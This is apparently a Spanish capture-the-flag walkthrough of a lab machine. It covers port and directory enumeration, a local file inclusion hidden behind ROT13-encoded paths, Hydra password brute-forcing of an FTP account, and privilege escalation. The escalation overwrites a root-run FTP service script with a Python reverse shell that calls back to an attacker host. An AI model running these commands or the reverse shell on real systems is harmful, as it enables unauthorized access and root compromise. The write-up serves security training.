Enumeración de servicios
Enumeramos puertos:
❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 10.32.32.76
...
21/tcp open ftp pyftpdlib 2.0.1
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: iCloud Vault Access
...Enumeramos directorios con gobuster (welcome.txt, config.txt, readme.txt, /logs en 403):
❯ gobuster dir -u 'http://10.32.32.76' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
/welcome.txt /config.txt /readme.txt /logs (403) /server-status (403)LFI con rutas codificadas en ROT13
La web carga archivos mediante ?theme=, y los botones apuntan a los nombres descubiertos pero transformados con ROT13. Esta transformación sólo sustituye letras, no impone una frontera de seguridad. Codificamos /etc/passwd del mismo modo y confirmamos un LFI cuando la aplicación devuelve el archivo local:
❯ rot13 'jrypbzr.gkg pbasvt.gkg ernqzr.gkg'
welcome.txt config.txt readme.txt
❯ rot13 '/etc/passwd'
/rgp/cnffjq
❯ curl 'http://10.32.32.76/?theme=/rgp/cnffjq' | grep bash
root:x:0:0:root:/root:/bin/bash
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
max:x:1001:1001::/home/max:/bin/bashEl mismo LFI permite leer /logs/ftp_server.log. Entre varios intentos fallidos, el registro contiene una autenticación correcta del usuario ADMIN, así que conservamos ese nombre y aplicamos Password Guessing con Hydra:
❯ hydra -l ADMIN -P ~/Documentos/wordlists/rockyou.txt ftp://10.32.32.76:21 -t 64
...
[21][ftp] host: 10.32.32.76 login: ADMIN password: 12345
...Escalada mediante el script escribible del servicio FTP
Dentro del FTP aparecen ftp_server.py y rev.sh, ambos propiedad de root. Antes de modificar el servicio, comprobamos que la cuenta puede crear archivos en el directorio; el archivo de prueba aparece después en el listado:
ftp> put file.txt
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r-- 1 root root 0 Aug 14 19:32 file.txt
-rw-r--r-- 1 root root 1607 Jul 05 07:08 ftp_server.py
-rw-r--r-- 1 root root 54 Jul 05 07:10 rev.sh
226 Transfer complete.ftp_server.py es el código del servicio FTP y su ejecución privilegiada convierte la capacidad de sobrescribirlo en un caso de Writable Privileged Executable File. Sustituimos su contenido por una reverse shell:
❯ cat ftp_server.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.32.32.50",1234))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])ftp> put ftp_server.py
226 Transfer complete.Después de subir el reemplazo, solicitamos el log del FTP mediante el LFI usando su ruta en ROT13. Esa interacción provoca la ejecución del script modificado en el escenario registrado y la conexión llega con un prompt de root:
❯ ncat -nlvp 1234
Ncat: Connection from 10.32.32.76:38528.
bash: cannot set terminal process group (428): Inappropriate ioctl for device
bash: no job control in this shell
root@13max:/opt#El prompt root@13max confirma que el servicio ejecutó el código con privilegios de root.
Fin.